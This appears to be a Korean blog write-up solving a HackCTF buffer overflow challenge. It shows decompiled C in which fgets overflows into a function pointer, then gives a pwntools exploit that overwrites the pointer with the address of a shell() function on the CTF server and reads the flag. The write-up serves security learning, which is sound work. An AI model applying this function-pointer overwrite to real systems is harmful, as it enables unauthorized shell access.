int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-8Ch]
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(&s, 133, stdin);
v5();
return 0;
}
int shell()
{
return system("/bin/dash");
}
v5라는 함수 포인터를 호출하고 있기 때문에 s를 버퍼 오버플로우 내서 v5의 주소값을 쉘을 실행시키는 shell 함수의 주소값으로 바꾸면 될거 같다.
0x8C - 0xC = 0x80 = 128
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3001)
payload = b""
payload += b"A" * 128
payload += p32(0x0804849b)
r.sendline(payload)
r.sendline("cat flag")
r.interactive()
128 바이트를 A로 덮어씌우고 그 다음에 v5 부분을 shell 함수의 주소로 바꿨다.
그러면 shell 함수가 실행되게 될 것이고, cat flag 를 하면 플래그가 보일것이다.
728x90
'해킹 > writeup' 카테고리의 다른 글
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
---|---|
5. HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.11 |
4. HackCTF - x64 Buffer Overflow (0) | 2021.06.16 |
2. HackCTF - Basic_BOF #1 (0) | 2021.06.16 |
1. DreamHack - basic_exploitation_001 (0) | 2021.06.16 |